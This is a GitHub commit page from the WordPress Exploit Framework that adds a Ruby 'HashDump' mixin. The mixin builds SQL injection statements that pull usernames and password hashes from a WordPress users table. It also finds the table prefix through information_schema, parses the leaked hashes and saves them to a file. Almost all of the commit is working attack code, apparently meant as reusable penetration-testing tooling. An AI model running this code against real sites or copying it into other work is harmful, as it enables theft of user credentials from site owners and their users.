Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 82d2cc1

Browse files
committed
Add Wpxf::WordPress::HashDump mixin
1 parent 2aeedf2 commit 82d2cc1

File tree

2 files changed

+175
-0
lines changed

2 files changed

+175
-0
lines changed

lib/wpxf/core.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,5 +75,6 @@ def self.change_stdout_sync(enabled)
7575
require 'wpxf/wordpress/shell_upload'
7676
require 'wpxf/wordpress/file_download'
7777
require 'wpxf/wordpress/comments'
78+
require 'wpxf/wordpress/hash_dump'
7879

7980
require 'wpxf/core/module'

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
# frozen_string_literal: true
2+
3+
# Provides reusable functionality for hash dump modules.
4+
module Wpxf::WordPress::HashDump
5+
include Wpxf
6+
7+
def initialize
8+
super
9+
10+
@info[:desc] = 'This module exploits an SQL injetion vulnerability to generate a dump of all the user hashes in the database.'
11+
12+
register_options([
13+
StringOption.new(
14+
name: 'export_path',
15+
desc: 'The file to save the hash dump to',
16+
required: false
17+
)
18+
])
19+
end
20+
21+
# @return [String] the path to export the hash dump to.
22+
def export_path
23+
return nil if normalized_option_value('export_path').nil?
24+
File.expand_path normalized_option_value('export_path')
25+
end
26+
27+
# @return [String] a unique SQL select statement that can be used to extract the hashes.
28+
def hashdump_sql_statement
29+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
30+
cols[hashdump_visible_field_index] = "concat(#{@bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{@eof_token})"
31+
"select #{cols.join(',')} from #{@table_prefix}users"
32+
end
33+
34+
# @return [Integer] the zero-based index of the column which is visible in the response output.
35+
def hashdump_visible_field_index
36+
0
37+
end
38+
39+
# @return [Integer] the number of columns in the vulnerable SQL statement.
40+
def hashdump_number_of_cols
41+
1
42+
end
43+
44+
# @return [Symbol] the HTTP method to use when requesting the hash dump.
45+
def hashdump_request_method
46+
:get
47+
end
48+
49+
# @return [Hash] the parameters to be used when requesting the hash dump.
50+
def hashdump_request_params
51+
nil
52+
end
53+
54+
# @return [Hash, String] the body to be used when requesting the hash dump.
55+
def hashdump_request_body
56+
nil
57+
end
58+
59+
# @return [String] the URL of the vulnerable page.
60+
def vulnerable_url
61+
nil
62+
end
63+
64+
# Run the module.
65+
# @return [Boolean] true if successful.
66+
def run
67+
return false unless super
68+
69+
generate_id_tokens
70+
71+
emit_info 'Determining database prefix...'
72+
return false unless determine_prefix
73+
emit_success "Found prefix: #{@table_prefix}", true
74+
75+
emit_info 'Dumping user hashes...'
76+
hashes = dump_and_parse_hashes
77+
output_hashdump_table(hashes)
78+
79+
export_hashes(hashes) if export_path
80+
true
81+
end
82+
83+
private
84+
85+
def hashdump_prefix_fingerprint_statement
86+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
87+
cols[hashdump_visible_field_index] = "concat(#{@bof_token},0x3a,table_name,0x3a,#{@eof_token})"
88+
"select #{cols.join(',')} from information_schema.tables where table_schema = database()"
89+
end
90+
91+
def dump_and_parse_hashes
92+
res = execute_request(
93+
method: hashdump_request_method,
94+
url: vulnerable_url,
95+
params: hashdump_request_params,
96+
body: hashdump_request_body,
97+
cookie: session_cookie
98+
)
99+
100+
return false unless res&.code == 200
101+
parse_hashdump_body(res.body)
102+
end
103+
104+
def build_prefix_request_body
105+
body = hashdump_request_body
106+
unless body.nil?
107+
if body.is_a?(Hash)
108+
body.each do |k, v|
109+
body[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
110+
end
111+
else
112+
body.gsub!(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
113+
end
114+
end
115+
116+
body
117+
end
118+
119+
def build_prefix_request_params
120+
params = hashdump_request_params
121+
122+
params&.each do |k, v|
123+
params[k] = v.gsub(hashdump_sql_statement, hashdump_prefix_fingerprint_statement)
124+
end
125+
126+
params
127+
end
128+
129+
def determine_prefix
130+
body = build_prefix_request_body
131+
params = build_prefix_request_params
132+
133+
res = execute_request(
134+
method: hashdump_request_method,
135+
url: vulnerable_url,
136+
params: params,
137+
body: body,
138+
cookie: session_cookie
139+
)
140+
141+
return nil unless res&.code == 200
142+
@table_prefix = res.body[/#{@bof_token}\:([^,]+?)usermeta\:#{@eof_token}/, 1]
143+
end
144+
145+
def output_hashdump_table(hashes)
146+
rows = []
147+
rows.push(user: 'Username', hash: 'Hash')
148+
hashes.each do |pair|
149+
rows.push(user: pair[0], hash: pair[1])
150+
end
151+
152+
emit_table rows
153+
end
154+
155+
def export_hashes(hashes)
156+
open(export_path, 'w') do |f|
157+
hashes.each do |pair|
158+
f.puts "#{pair[0]}:#{pair[1]}"
159+
end
160+
end
161+
162+
emit_success "Saved dump to #{export_path}"
163+
end
164+
165+
def parse_hashdump_body(body)
166+
pattern = /#{@bof_token}\:(.+?)\:(.+?)\:#{@eof_token}/
167+
body.scan(pattern)
168+
end
169+
170+
def generate_id_tokens
171+
@eof_token = Utility::Text.rand_numeric(10)
172+
@bof_token = Utility::Text.rand_numeric(10)
173+
end
174+
end

0 commit comments

Comments
 (0)